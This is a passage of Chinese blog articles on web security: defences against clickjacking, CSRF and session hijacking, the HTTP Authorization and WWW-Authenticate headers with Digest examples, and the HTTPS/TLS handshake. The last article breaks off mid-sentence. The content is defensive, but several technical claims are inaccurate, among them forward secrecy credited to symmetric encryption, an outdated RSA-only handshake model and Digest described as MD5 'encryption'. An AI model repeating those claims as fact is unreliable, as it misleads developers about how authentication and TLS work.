避免使用来自不明来源、未经验证或不活跃维护的依赖项,因为这些依赖项可能包含安全漏洞,项目依赖需要定期监控和更新,因为漏洞和安全问题可能随着时间而出现。点击劫持点击劫持(Clickjacking)是一种Web应用程序安全漏洞,旨在欺骗用户,使其在不知情的情况下执行某些意外的操作,通常是通过将透明的或隐藏的页面元素覆盖在诱导用户单击的元素上来实现的。点击劫持的攻击者可以操纵用户的行为,例如单击恶意链接、提交表单或进行其他操作,而用户认为他们正在与合法的网站或应用程序进行交互。防范手段:设置CSP中的frame-ancestors属性    通过设置frame-ancestors属性定义哪些网页可以使用 iframe、frame、object、embed 等元素嵌套显示当前页面,以此来防止恶意网站嵌套页面发起恶意攻击。不使用Cookie认证身份或保持会话    Cookie的存储方式不同于Web Storage 和 IndexedDB的存储方式是以源进行分割的,因此如果你的网站使用了Cookie认证身份以及保持会话,那么当恶意网站嵌入您的网站时会与你的网站共享Cookie,这也意味这如果你登陆了你的网站,那么访问恶意网站时,它嵌入的网站也是登录状态。而点击劫持攻击最重的是嵌入的网站能够保持登录状态,因此使用Cookie认证身份或保持会话会有造成该攻击的安全风险,为了减轻这些风险你可以使用Authorization认证身份或保持会话。CSRFCSRF(Cross-Site Request Forgery,跨站请求伪造,简称CSRF)是一种利用Web应用程序中的信任关系的攻击方式,攻击者通过某些方式(例如社交媒体、广告等)诱骗受害者访问恶意网站,恶意网站利用受骗者已登录的身份信息隐式发送敏感操作的请求,由于该受骗者已登录该网站因此该请求则会自动携带该用户的身份信息,由于身份信息正确服务器也会执行相应的敏感操作,这样用户在访问浏览恶意网站时并不需要任何操作,神不知鬼不觉的情况下就被攻击了,执行了恶意操作。防范手段:使用CSRF令牌: 在每个敏感操作的请求中包含一个随机生成的CSRF令牌,该令牌只有在请求发起页面和接收页面具有相同的令牌时,请求才会被接受。这可以确保只有合法的请求才能成功。检查Referer头: 服务器可以检查HTTP请求头中的Referer字段,以确保请求来自期望的来源。然而,这种方法并不总是可靠,因为Referer字段可能被篡改或缺失。使用合理的请求方式: 由于获取资源等不被同源策略限制的请求通常是Get方法,因此我们应当合理定义敏感操作的请求方法(如:Post等),即可规避利用该方法发起的CSRF攻击慎用JSONP等跨源访问手段,改用CORS: JSONP(JSON with Padding)是一种跨源访问手段,它允许在浏览器中加载来自不同域的数据,它在早期的网络应用中很常见。攻击者可以利用这种机制来发起CSRF攻击,通过向目标网站发送JSONP请求,以触发未经授权的操作。CORS 是一种用于解决跨源网络访问问题的标准化机制。服务器可以通过设置HTTP响应头来明确指定哪些域名的网页可以访问其资源。这样,只有被授权的域名才能够进行跨源访问。使用Cookie认证身份或保持会话需要设置其SameSite等相关安全属性,最好还是使用Authorization认证手段: 确保使用Cookie进行身份认证和会话管理时,设置Cookie的SameSite属性,以限制跨站点请求。 同源策略的合理利用: 尽量在应用中合理利用同源策略,将敏感操作限制在同一域内进行,从而降低跨域请求的风险。会话劫持会话劫持(Session Hijacking)是一种较为常见的Web攻击,攻击者通过尝试获取或窃取合法用户的会话标识,然后使用这些标识来模拟合法用户,绕过身份验证并获得对用户帐户的访问权限来发起攻击。这种攻击通常发生在会话标识以Cookie或URL参数的形式存储在客户端的网站,由于URL参数以及Cookie如果未设置相关的安全属性是很容易暴露的,因此攻击者可以使用不同的技术和手段来实施会话劫持。并且该攻击通常需要于其他攻击配合使用,例如:MitM、XSS、点击劫持等。防范手段:    · 防护MitM的手段    · 防护XSS的手段    · 防护点击劫持的手段    · 使用Cookie认证身份或保持会话需要设置其SameSite等相关安全属性,最好还是使用Authorization认证手段: 确保使用Cookie进行身份认证和会话管理时,设置Cookie的SameSite属性,以限制跨站点请求。    · 定期更改会话标识: 会话标识的定期更改可以减少会话劫持的风险。如何知道自己的网站是否安全目前我主要使用的工具是Mozilla Observatory,Mozilla Observatory是一个由Mozilla维护的在线Web安全检测工具,它能够检测出我们的网站是否使用安全的加密传输、评估HTTP头部的配置,包括CSP、X-Content-Type-Options、X-Frame-Options等、检查敏感数据的存储和传输方式以及跨站脚本(XSS)、SQL注入、XXE等常见漏洞。根据检测的结果,它还会给出相应的改善建议,然后我们就可以通过这些建议调整服务器配置、修复代码漏洞、更新依赖项。Mozilla Observatory虽然是一个有用的工具,可以帮助我们快速评估和改善Web应用程序的安全性。但请注意,Mozilla Observatory只是一个工具,它并不能解决所有安全问题。因此我们并不是说使用了它就能杜绝一切安全问题,维护Web应用程序的安全性需要综合性的措施和定期审查。
0
0
0
浏览量836
爱喝奶茶的波波

【HTTP完全注解】揭开Authorization神秘的面纱

AuthorizationAuthorization是HTTP 提供一个用于权限控制和认证的通用框架,可能有不少小伙伴会感到疑惑"Cookie不就可以做权限控制和认证吗? ",确实如此! Cookie确实是在单个系统内认证用户身份、保持会话状态的有效方式,但如果涉及到多个系统、多个域名或多个应用程序之间认证、授权呢? 使用Cookie的话该如何办呢?是不是想想都头皮发麻呢?为解决这个问题, HTTP急需一种更通用、更灵活的身份验证和授权机制,使跨系统和跨域的身份验证和授权管理更容易,这对于现代应用程序中的多样化环境非常重要,就这样Authorization诞生了!Authorization是一种通用的、标准化的权限控制和认证的通用框架,它能够使跨系统和跨域的身份验证和授权管理更容易,使不同应用程序之间能够更轻松地实现单点登录(SSO)、用户身份验证和授权控制等。Authorization的运行方式Authorization仅是一个通用的认证框架,它并没有强制规定具体的使用方式,而是只提供了一种结构化的方式来管理身份验证和访问控制。它具体的身份验证方案和授权流程可以根据不同的需求和协议而有所不同,但大体的流程都如下图所示:第一步客户端请求授权: 客户端请求获得访问资源的授权,通常请求授权可以是账户密码登录/私秘钥等。第二步服务端返回授权码/令牌: 服务器收到客户端的授权请求后会验证其身份的有效性,如果有效则会给相应用户授权,并发送相应的授权码或令牌。第三步客户端携带令牌请求内容: 客户端在请求头Authorization中携带服务器返回的授权码/令牌发起请求。第四步服务端携验证令牌: 资源服务器接收到客户端请求,验证令牌的有效性和权限。这可能涉及验证签名、检查令牌的有效期和授权范围等。如果令牌有效且授权被授予,资源服务器允许客户端访问受保护的资源。常见的认证授权方案上文介绍了Authorization仅是一个通用的认证授权框架,具体的身份验证方案和授权流程根据不同的协议和方案而有所不同并且对于一些特殊认证方案浏览器还有一些默认行为,因此为了更好的使用Authorization,我们应该进一步了解目前使用较为广泛且常见的认证方案与规范。Basic认证Basic认证方案是在 RFC 7617 中规定的,被称为基本身份认证,是一种用于HTTP的简单认证方案。该方案通过在HTTP请求中发送用户名和密码来进行身份验证。Basic认证的工作流程如下:客户端发送一个请求到服务器。如果服务器需要认证,它会返回一个401未授权的响应,同时在响应头中包含一个WWW-Authenticate字段,该字段值为Basic realm="xxx",Basic表明请求该资源需要进行Basic认证,其中"xxx"是服务器对资源的描述。客户端在接收到401响应后,会提示用户输入用户名和密码。然后,客户端将用户名和密码拼接成一个字符串,格式为"username",并对这个字符串进行Base64编码。客户端再次发送相同的请求,但这次在请求头中包含一个Authorization字段,该字段值为Basic后接上一步得到的Base64编码字符串。服务器接收到请求后,解码Authorization字段的值,验证用户名和密码。如果验证通过,服务器就会处理请求并返回响应。如果验证失败,服务器会再次返回401响应。Digest认证Digest认证方案是在 RFC 7616 中规定的,它是一种用于HTTP的认证方案,也被称为摘要认证,是基本认证(Basic Authentication)的一个改进版本,它提供了比基本认证更好的安全性。摘要认证的工作流程如下:客户端发送一个请求到服务器。如果服务器需要认证,它会返回一个401未授权的响应,同时在响应头中包含一个WWW-Authenticate字段,该字段值包含了认证方式(Digest)、一个随机生成的nonce值(nonce)、域名(realm)等信息。客户端在接收到401响应后,会提示用户输入用户名和密码。待用户输入完成,客户端会使用服务器返回的nonce值、URL与用户名、密码相结合然后通过 MD5 加密生成哈希密钥也叫响应(response)值。客户端再次发送相同的请求,但这次在请求头中包含一个Authorization字段,该字段值包含了认证方法(Digest)、用户名(username)、域名(realm)、nonce值(none)、响应值(responese)等信息。服务器收到请求后,可以使用username查询到相应用户的密码,然后使用同样的方式生成响应值,最后与客户端的响应值比对,如果服务器的响应值与客户端的响应值一致,服务器就会处理请求并返回响应。Bearer认证Bearer认证方案是在 RFC 6750 中规定的,它是一种用于HTTP的认证方案,也被称为Token(令牌)认证,它是基于OAuth2.0认证协议的认证方案。该方案使用令牌(token)授权,令牌(token)就像你持有的一张人民币一样,只要你持有它,你就可以使用它,而不像银行卡需要输入账户密码,正因这个特性,它被广泛使用于跨系统和跨域的身份验证和授权中。Bearer认证的工作流程如下: 客户端发送一个请求到服务器。如果服务器需要请求第三方服务器资源,并且需要认证,此时它会返回一个401未授权的响应,同时返回一个第三方服务认证授权的地址。客户端收到相应后会重定向到第三方服务认证授权的地址,待用户填写相应信息确认授权后,授权请求发送到第三方服务器。第三方服务器收到授权请求后,判断认证信息是否正确,如果认证信息正确,服务器会生成一个Bearer令牌,并将其发送回客户端。这个令牌是一个长字符串,它代表了用户的身份。客户端收到响应后,将令牌取出并存储起来,通常是在本地存储或者cookie中,存储过程需要开发人员自行操作。客户端携带令牌Authorization: Bearer <token>,再次发出请求,携带令牌需要开发人员自行操作。服务器收到令牌后会使用该令牌向第三方服务器继续请求资源。第三方服务器收到请求后,会判断令牌是否有效,如果令牌验证成功,服务器就会处理请求并返回响应。JWT认证JWT(JSON Web Token)认证与Bearer认证的原理是一样的,并且其运行流程也并无差异,他们的关键差别仅在于:令牌类型:Bearer认证使用的令牌通常是一个随机生成的字符串,它本身不包含任何用户信息。而JWT是一种特殊的令牌,它是一个编码后的JSON对象,可以包含一些用户信息和其他元数据。状态:Bearer认证通常是状态性的,这意味着服务器需要存储令牌信息以便验证。而JWT是无状态的,因为JWT本身就包含了所有需要验证的信息,服务器不需要存储任何关于JWT的信息。使用方式:在使用方式上,JWT和Bearer认证都很相似。它们都是在HTTP请求的头部字段中发送的,格式通常是Authorization: Bearer <token>。这里的<token>可以是一个Bearer令牌,也可以是一个JWT。安全性:JWT可以使用数字签名或者加密来保证其安全性。而Bearer令牌的安全性主要依赖于HTTPS来防止令牌在传输过程中被窃取。API密钥认证API密钥认证(API Key Authentication)是一种用于保护和控制对Web服务或API资源的访问的常见方式。它基于在每个请求中包含一个唯一的API密钥,以便服务器可以验证请求的合法性。这种认证方式通常用于对第三方开发者、应用程序或用户授予对API的有限访问权限。API密钥认证的工作流程如下:生成API密钥:API提供者会生成一个唯一的API密钥,并将其分发给授权的开发者或应用程序包含API密钥:在进行API请求时,开发者或应用程序需要在请求中包含他们的API密钥。这通常是通过在HTTP请求的头部、查询参数或请求体中添加密钥来实现的。 服务器验证:API服务器收到请求后,会提取其中的API密钥,并与存储的有效密钥进行比对。如果密钥有效且请求符合授权要求,服务器将允许请求继续处理;否则,服务器将返回相应的错误信息。访问控制:一旦API密钥被验证通过,服务器可以根据密钥对应的权限级别,控制对API资源的访问权限。这可以包括限制每个密钥的请求速率、限制对特定资源的访问等。双因素认证双因素认证(Two-Factor Authentication, 2FA)是一种身份验证方式,要求用户在登录时提供两种不同类型的身份验证信息,通常是"Something you know"(你所知道的)和"Something you have"(你所拥有的)。这种方式比单一密码更安全,因为即使密码泄露,仍需要第二种身份验证信息才能完成登录。双因素认证的工作流程如下:用户尝试登录:用户在登录时输入其用户名和密码。第一因素验证:系统验证用户名和密码的正确性。第二因素验证:如果第一因素验证通过,系统会要求用户提供第二种身份验证信息。这通常是通过手机短信、手机应用程序生成的动态验证码、硬件安全密钥(如YubiKey)或生物识别信息(如指纹或面部识别)来实现的。访问控制:一旦第二因素验证成功,用户将被授予访问权限。其他一些认证方式 OpenID Connect: 基于OAuth 2.0的身份认证协议,用于实现单点登录和获取用户身份信息。 SAML (Security Assertion Markup Language) : 用于单点登录和跨域身份验证的XML标准协议。 Kerberos: 一种网络身份验证协议,用于提供强化的网络安全。 LDAP (Lightweight Directory Access Protocol) Authentication: 用于与目录服务(如Active Directory)通信以进行用户身份验证。 Biometric Authentication: 使用生物识别技术,如指纹、面部识别、虹膜识别等进行身份验证。 Smart Card Authentication: 使用智能卡进行身份验证,通常在高度安全的环境中使用。相关的标头从前面的内容我们可以知道,Authorization的运行主要依赖于WWW-Authenticate响应标头以及 Authorization请求标头,下面我们就详细介绍下两个标头的内容。WWW-Authenticate响应标头响应标头WWW-Authenticate 定义了获取特定资源的访问权限的认证方法。 服务器将以 401 Unauthorized去响应访问受保护资源的请求,该响应必须包含至少一个 WWW-Authenticate 标头和一个质询,以指示客户端使用哪些身份验证方案访问资源(以及每个特定方案的任意额外的数据)。一个 WWW-Authenticate 标头中允许多个质询,并且一个响应中允许多个 WWW-Authenticate 标头。参数<auth-scheme>    用于指定访问该资源需要进行的身份验证方案。一些更常见的身份验证方案是(不区分大小写):Basic、Digest、Negotiate 和 AWS4-HMAC-SHA256。realm="<string>" 可选    用于指定一段描述信息除了上述的参数外,该标头对于不同的身份验证方案也有一些不同的参数:Basic认证charset="UTF-8" 可选    当提交用户名和密码时,告诉客户端服务器的首选编码方案,仅允许值“UTF-8”。Digest认证domain="<URI> <URI> <URI>...." 可选    以空格分隔的 URI 前缀列表,定义了可以使用身份验证信息的所有位置。如果未指定此关键字,则可以在 web 根目录的任意位置使用身份验证信息。nonce="<string>"    一串由服务器生成随机字符串,用于加密用户账户与密码,nonce 值对客户端是不透明的。opaque ="<string>"    一串由服务器生成随机字符串。它的作用是在客户端发送下一次请求时,服务器可以验证客户端的身份。opaque 的值会在服务器收到客户端发送的认证信息后,随后的响应中被包含,客户端需要将这个值在后续的请求中原封不动地发送回服务器。这样做的目的是为了防止重放攻击(replay attack)。攻击者可能会尝试重复发送之前捕获到的认证信息,以此来冒充合法用户。通过在每次响应中更新 opaque 的值,服务器可以确保每个认证信息只能用于一次,从而增加了安全性。stale="<bool>" 可选    指示客户端之前的请求因 nonce 太旧了(过期)而被拒绝。如果为 true,则可以使用新的 nonce 加密相同用户名/密码重试请求。如果它是任意其他的值,那么用户名/密码无效,并且必须向用户重新请求。algorithm=<algorithm> 可选    指定加密算法。有效值是:"MD5"(如果未指定,则是默认)、"SHA-256"、"SHA-512"、"MD5-sess"、"SHA-256-sess"、"SHA-512-sess"。qop="<string>"    带引号的字符串,表示服务器支持的保护程度,取值如下:"auth"(身份验证)、"auth-int"(有完整保护的身份验证)。charset="UTF-8" 可选    当提交用户名和密码时,告诉客户端服务器的首选编码方案,仅允许值“UTF-8”。userhash=<bool> 可选    服务器可能指定为 "true",以指示它支持用户名哈希(默认是 "false")。示例WWW-Authenticate: Basic realm="Access to the staging site", charset="UTF-8" WWW-Authenticate: Digest   realm="http-auth@example.org",   qop="auth, auth-int",   algorithm=SHA-256,   nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",   opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS" WWW-Authenticate: Digest   realm="http-auth@example.org",   qop="auth, auth-int",   algorithm=MD5,   nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",   opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS"Authenticate请求标头请求标头Authorization 携带经过正确处理的服务器所需要的用户凭证。 客户端在接收 WWW-Authenticate 标头之后,用户代理应该从WWW-Authenticate提供的身份验证方案中选择它支持的最安全的身份验证方案,并提示用户提供凭据,然后重新请求资源,这个新的请求会使用 Authorization 请求标头携带经过相应处理的用户提供的凭证。参数用于指定访问该资源需要进行的身份验证方案。一些更常见的身份验证方案是(不区分大小写):Basic、Digest、Negotiate 和 AWS4-HMAC-SHA256。除了上述的参数外,该标头对于不同的身份验证方案也有一些不同的参数:Basic认证<credentials>    用户提供的凭证,例如账户密码等,并根据指定的方案编码。Digest认证response="<string>"    一串字符串,也被称为响应值,通过将用户名、密码、realm、qop、nc 等值进行结合然后使用nonce加密后的值username="<string>"    一串字符串,指定用户名,可以是纯文本,也可以是十六进制表示的哈希编码。username*="<string>"    与username相同,如果用户名包含字段中不允许的字符(RFC5987 中定义的扩展符号格式化的用户名)或userhash 设置为 "false" 时,则不可使用username,而是使用username*uri="<string>"    一串字符串,指定有效的请求 URIrealm="<string>"    请求的用户名/密码的 realm(同样,应该与所请求资源中对应的 WWW-Authenticate响应中的值一致)。opaque="<string>"    一串由服务器生成随机字符串,为防止重放攻击(同样,应该与所请求资源中对应的 WWW-Authenticate响应中的值一样)。nonce="<string>"    一串由服务器生成随机字符串,用于加密用户账户与密码(同样,应该与所请求资源中对应的 WWW-Authenticate响应中的值一样)。algorithm=<algorithm>    指定加密算法,必须是所请求资源的 WWW-Authenticate响应中支持的算法。qop=<string>    表示服务器支持的保护程度。必须与在 WWW-Authenticate响应中,为被请求的资源指定的集合中的一个值匹配。cnonce="<string>" 可选    客户端生成的随机字符串,这样可以防止攻击者通过简单地重放先前的认证信息来欺骗服务器,并且对特定 nonce 的已知明文攻击,通过在每次认证中使用不同的 cnonce,可以增加攻击者破解认证信息的难度。nc=<number> 可选    一个数字,它是客户端发送的一个计数器,用于防止重放攻击。每当客户端发送一个新的请求时,它会增加这个计数器的值。服务器会检查这个计数器的值,以确保它是递增的,这样可以防止攻击者重复使用相同的认证信息。userhash=<bool> 可选    服务器可能指定为 "true",以指示它支持用户名哈希(默认是 "false")。示例 Authorization: Digest username="Mufasa",   realm="http-auth@example.org",   uri="/dir/index.html",   algorithm=MD5,   nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",   nc=00000001,   cnonce="f2/wE4q74E6zIJEtWaHKaf5wv/H5QzzpXusqGemxURZJ",   qop=auth,   response="8ca523f5e9506fed4657c9700eebdbec",   opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS"     Authorization: Digest username="Mufasa",   realm="http-auth@example.org",   uri="/dir/index.html",   algorithm=SHA-256,   nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",   nc=00000001,   cnonce="f2/wE4q74E6zIJEtWaHKaf5wv/H5QzzpXusqGemxURZJ",   qop=auth,   response="753927fa0e85d155564e2e272a28d1802ca10daf449       6794697cf8db5856cb6c1",   opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS"
0
0
0
浏览量2017
爱喝奶茶的波波

【HTTP完全注解】拯救不安全的HTTP — HTTPS

拯救不安全的HTTP — HTTPSWeb早期的使用场景都是学校之前传输学术论文,在当时Web几乎就是一个学术网络。由于使用人群单一,使用人数少,相对信任程度很高,因此当时人们并不觉得HTTP使用明文传输有什么不妥。但随着Web的极速发展,社会上越来越多商业、政府组织机构使用这一新生技术来完成自己的业务,HTTP也开始承载着越来越多重要的、私人的信息发往各地。此时HTTP的安全隐患被逐一暴露出来:通信使用明文传输,内容可轻易窃听获取HTTP协议无法加密数据,所有通信数据都在网络中明文“裸奔”,通过网络的嗅探设备及一些技术手段,就可轻易窃听并还原HTTP报文内容。这些个人、重要且隐私的信息就像是被装进了透明信封中,无论信被发往何处, 路过的人总能窥见一二。试想,你周末在咖啡店喝咖啡,连着咖啡店的WI-FI,你使用着银行的网页付款,不幸的是银行网页使用的是HTTP,你的银行账户密码被HTTP以纯文本明文的方式发送了出去,此时任何人都可以通过这个咖啡店的WI-FI拦截到你这个HTTP请求,而HTTP又是纯文本明文,因此他人不费吹灰之力就可以获得你的银行账户密码。无法证明报文的完整性,内容可遭篡改HTTP协议无法证明通信的报文完整性,因此,在请求或响应到达接收方这段时间内,即使请求或响应的内容遭到篡改,也没有办法获悉。也就是说,HTTP协议没有任何办法确认,发出的请求和接收到的响应是前后相同的,没有被篡改的。也就是说我通过一定技术手段拦截获取到了"老王转账给张三200元"的HTTP请求,由于HTTP无法证明报文的完整性,因此我可以将获取到的请求篡改为"老王转账给我30000元",通信双方都不会发现内容已被篡改。不验证通信方的身份,可伪装身份HTTP协议中的请求和响应不会对通信方进行身份验证。也就是说,在请求或响应到达接收方这段时间内,请求或响应被拦截伪造之后再次发出,通信双方也无法知晓。此处请勿与Cookie、token等业务层的身份验证混淆,即使你业务层做了身份验证携带了认证参数,但由于在HTTP协议通信时不存在确认通信方的处理步骤,这也意味着一些代理/中转服务器仍可以携带同样且正确的认证参数,然后篡改请求内容后再次发出,由于携带了正确的认证参数,此时业务代码也无法辨识真伪。我们根据上述所有HTTP安全隐患,就可以轻易发起一次MitM中间人攻击(Man-in-the-Middle Attack,简称MitM攻击)我们通过公共WI-FI以及一定技术手段拦截获取到了一个HTTP转账请求,由于HTTP使用明文传输我们轻易知道了这笔转账的具体信息以及相关参数,我们将这笔转账的接收方改为我自己并且将转账金额变大之后再次发出,由于HTTP无法证明报文的完整性且不验证通信方的身份,因此我们即使篡改了请求内容并再次发出通信双方也感知发现的。因为上述HTTP种种安全隐患,人们对一个加密传输层的需求开始愈发高涨,于是乎HTTPS诞生了!HTTPSHTTPS(Hypertext Transfer Protocol Secure,超文本传输协议安全)是基于HTTP协议的安全版本,它通过在HTTP上建立SSL(Secure Sockets Layer)或TLS(Transport Layer Security)加密层,使得HTTP通信具备身份验证、信息加密和完整性校验的功能,以解决HTTP中的种种安全问题。HTTPS工作流程TCP三次握手由于HTTPS仍是建立在TCP的基础上的,因此建立会话仍是需要进行TCP三次握手的。当然,HTTPS也可以使用已有的TCP连接,直接直接进行TLS/SSL三次握手,而不需要进行TCP三次握手。TLS/SSL首次握手:ClientHello(明文传输)一旦TCP连接建立,客户端会以明文的方式发送TLS/SSL的ClientHello消息,该消息包含一下信息:支持的TLS/SSL版本支持的加密套件列表,包括密码学算法和密钥交换算法的组合支持的压缩方法可选的TLS扩展,如Server Name Indication (SNI) 等ClientHello消息主要用于通知服务器客户端包含了哪些支持的TLS版本号、密码套件列表(包括加密算法和密钥交换算法)、支持的压缩方法等信息。服务器会根据这些信息来选择合适的加密算法和密钥交换方式,以确保通信的机密性和完整性。虽然ClientHello消息是明文传输,但由于ClientHello消息传输的都是一些连接协商内容,它不重要且不隐私,因此即使被中间人监听也不影响,中间人篡改其中内容也没必要,因为篡改其中内容并没有价值,并且篡改内容只可能会导致客户端/服务器协商失败断开连接。TLS/SSL二次握手:ServerHello(明文传输)服务器接收到客户端发来的ClientHellow 消息后,会从客户端支持的TLS/SSL版本选择一个,这通常是客户端支持的最高版本,从客户端提供的加密套件列表中选择一个合适的套件,该套件包括加密算法、密钥交换算法等。在选择完成后会向客户端返回一个ServerHello消息,该消息也是明文传输,包含以下内容:建立通信的参数: 包括选择的TLS 版本号、加密套件等信息数字证书: 这个证书包含服务器的公钥、域名、证书有效期等相关的信息,客户端可以使用该证书来验证服务器的身份。证书链: 服务器通常会返回一个证书链,包括服务器证书和中间CA证书。这个证书链允许客户端验证服务器证书的有效性,并建立信任链。数字证书数字证书就像一个许可证,需要向第三方权威机构(证书颁发机构,Certificate Authority简称CA)申请,以许可该站点能够使用HTTPS,数字证书包含了域名(允许哪个站点使用HTTPS)、有效期(允许使用的时间段),服务器公钥(传输的信息使用该公钥加密后,只能使用服务器的私钥才能解密)、颁发者信息等等内容。此时大家可能会有疑问“使用明文传输数字证书,不是很容易被中间人拦截篡改吗?”数字证书时难以篡改的,这是为什么呢?答案就是数字签名。数字签名是证书颁发机构(CA)的私钥基于证书的内容创建的,包括证书的公钥、域名、颁发者信息、有效期等等。只有持有相应私钥的证书颁发机构才能有效地签署证书,个人通常是无法获得的。拿到数字证书的客户端会根据CA证书的公钥来验证证书的数字签名是否合法,由于数字签名是基于CA证书密钥与内容创建的,因此篡改其内容都会导致证书验证不合法。并且CA证书的公钥存储受到系统或浏览器的保护,以防止未经授权的更改。直接修改证书会导致客户端验证证书不合法,如果想要获取到CA证书的私钥,或是替换掉客户端的公钥也是极其困难的,替换整个数字证书更不可行,因为请求域名都不一样,因此想要篡改数字证书时极其困难的。为什么数字证书难以篡改数字证书的数字签名是证书颁发机构(CA)的私钥基于证书的内容创建的,包括证书的公钥、域名、颁发者信息、有效期等等。只有持有相应私钥的证书颁发机构才能有效地签署证书,个人通常是无法获得私钥的,因此想要通过获取私钥自行签署数字签名也是不可行的。客户端拿到数字证书会根据CA证书的公钥来解密数字签名,解析失败或解析后内容与证书内容不同,证明证书已被篡改,由于CA证书公钥存放在受保护的地方,因此想要通过修改存储在客户端的CA证书公钥来通过验证也是极其困难的。替换整个数字证书更不可行,因为解析完成数字签名后,客户端会发现数字证书的域名怎么与请求域名不一样证书链在现实中并不是由一个证书颁发机构颁发所有证书的,而是设立了一个根证书颁发机构,然后设立了若干层中间证书颁发机构,由上一级颁发机构去颁发验证下一级证书颁发机构的数字证书,直到服务器证书。证书链就是从根证书,然后经过的若干中间证书,最后到服务器证书这一条链路。为啥要这么多中间证书颁发机构呢?直接使用根证书颁发机构颁发所有证书不可以吗?使用多个中间证书颁发机构(Intermediate CAs)的主要原因是安全性和管理的考虑。虽然理论上可以只使用根证书颁发机构(Root CA)颁发所有证书,但多级证书颁发机构体系更加灵活安全。它允许根证书颁发机构将部分权威委托给中间证书颁发机构,从而使中间机构可以颁发证书,同时根机构仍然保持根源信任。这种灵活性允许更好地管理证书颁发和吊销,以及适应组织的复杂结构,有助于隔离风险。如果中间证书颁发机构的私钥被泄漏或被滥用,只需吊销中间机构的证书,而不必吊销根证书颁发机构的证书。为什么服务器要给客户端发送证书链?由于服务器证书是经过若干层中间证书,最终才到达根证书生成的,如果仅发送服务器仅发送服务器证书给客户端,客户端是无法知晓颁发给服务器证书的上层机构是谁,因此无法验证服务器证书的数字签名。服务器发送证书链給客户端,客户端就可以从服务器证书逐级验证中间证书,最终到达根证书。由于根证书公钥是绝对受信任的,因此逐级往下所有数字签名验证成功的证书都是受信任的,最终就形成了从服务器证书到CA根证书的信任链。TLS/SSL三次握手:发送会话密钥(非对称加密,利用服务器公钥)客户端在接收到服务器发送的数字证书后会根据上述验证数字证书/证书链的方式验证数字证书。验证失败则会直接报错然后断开连接,如果验证成功,则会先拿到服务器公钥,生成一个伪随机数,然后根据这个随机数生成会话密钥,最终利用服务器公钥对会话密钥进行非对称加密,最后将加密后的会话密钥发送给服务端。由于非对称加密只能使用服务器私钥解密,因此中间人即使拦截到了经过公钥加密的密文,由于没有私钥也无法解密,因此也无法获得会话密钥,所以经过上述握手,客户端服务端双方都可以确认会话密钥是绝对安全的。服务器接收到加密的会话密钥后会使用其私钥进行解密,然后拿到会话私钥,至此就完成了TSL/SSL三次握手,并进入会话阶段。会话阶段:发送响应内容(对称加密,利用会话密钥) 服务器拿到密钥后,TSL/SSL的三次握手就完成了并进入会话阶段。经过上述握手过程,客户端服务端双方都可以确认会话密钥是绝对安全的,因此在会话阶段双方通信内容就可以使用会话密钥进行对称加密。为什么TSL/SSL握手阶段使用非对称加密,而会话阶段使用对称加密?虽然非对称加密在某些方面非常强大,但它也有一些限制和性能方面的不足,这些限制使得在通信中不适合全部使用非对称加密。· 性能问题:非对称加密算法(如RSA或ECC)比对称加密算法(如AES)更复杂,因此在加密和解密数据时需要更多的计算资源和时间。这对于大量的数据传输或高流量的网络来说可能是一个性能瓶颈。· 密钥管理:非对称密钥对(公钥和私钥)的管理相对复杂。在一个大型网络中,管理数以千计的密钥对会变得非常困难。对称加密只需要一个密钥,因此更容易管理。· 前向保密性:非对称加密通常不提供前向保密性(Forward Secrecy),这意味着如果私钥被泄露,攻击者可以解密以前拦截的加密数据。而对称加密的前向保密性可以更好地防止这种情况。· 密钥长度:为了提供相同级别的安全性,非对称密钥通常需要更长的密钥长度,这会增加数据传输的开销。对称加密在某些情况下是非常高效和快速的,但它也有一些限制,这些限制使得不适合全部使用对称加密:· 密钥分发问题:对称加密需要双方共享相同的密钥,这就引入了密钥分发的问题。如果双方在通信之前没有共享密钥,那么他们需要一个安全的方式来传输密钥。这个过程可能容易受到中间人攻击或者其他安全问题的影响。· 缺乏身份验证:对称加密本身并不提供身份验证机制,这意味着在通信开始之前,没有办法确定通信的另一方是否真的是合法的目标。这使得对称加密容易受到伪装攻击的影响。· 前向保密性:对称加密通常不提供前向保密性,这意味着如果密钥被泄露,攻击者可以解密以前拦截的加密数据。· 密钥轮换:在对称加密中,密钥的轮换和管理可能会更复杂,特别是在大型系统中。如果密钥不定期轮换,或者如果密钥丢失或泄露,整个通信系统的安全性可能会受到威胁。因此,通常情况下,加密方案会采用混合加密的方法,结合对称加密和非对称加密的优点。在通信开始时,使用非对称加密来安全地协商共享的对称密钥,然后在通信会话中使用对称加密来保护实际的数据传输。这种混合加密方法能够同时提供安全性和性能,解决了对称加密和非对称加密各自的限制。HTTPS也不绝对安全HTTPS确实提供了一定程度的安全性,但它并非绝对安全,仍然存在一些潜在的风险和攻击向量会话密钥泄露 :在HTTPS握手过程中,客户端和服务器会交换用于加密通信的会话密钥。如果会话密钥泄露或恶意方能够通过一定手段获取这个会话密钥,他们就可以解密通信内容。客户端发送会话密钥服务端通常不验证客户端身份 : 这是一种称为单向认证的模式,其中服务器验证自己的身份,但不要求客户端提供证书或其他身份验证信息。虽然这在许多互联网应用中很常见,但它确实意味着恶意客户端可以连接到服务器,而服务器难以验证客户端的真实身份。证书链中任何一个节点被污染或私钥泄露,包括服务器私钥 :证书链是用于验证服务器身份的关键组成部分。如果证书链中的任何一个证书受到污染或者私钥泄露,攻击者可能会冒充合法的服务器进行中间人攻击,这会损害通信的机密性和完整性。客户端证书链中任何一个节点公钥被污染替换 : 类似于服务器证书链,客户端证书链中的污染或替换也可能导致安全问题。这通常涉及到客户端的身份验证,如果恶意方能够替换客户端证书链中的公钥,他们可能会冒充合法客户端与服务器通信。· 没有妥善处理HTTP到HTTPS的重定向 :如果一个网站接受 HTTP 的请求,然后重定向到 HTTPS,用户可能在开始重定向前,通过没有加密的方式与服务器通信,比如,用户输入 http://foo.com 或者仅是输入 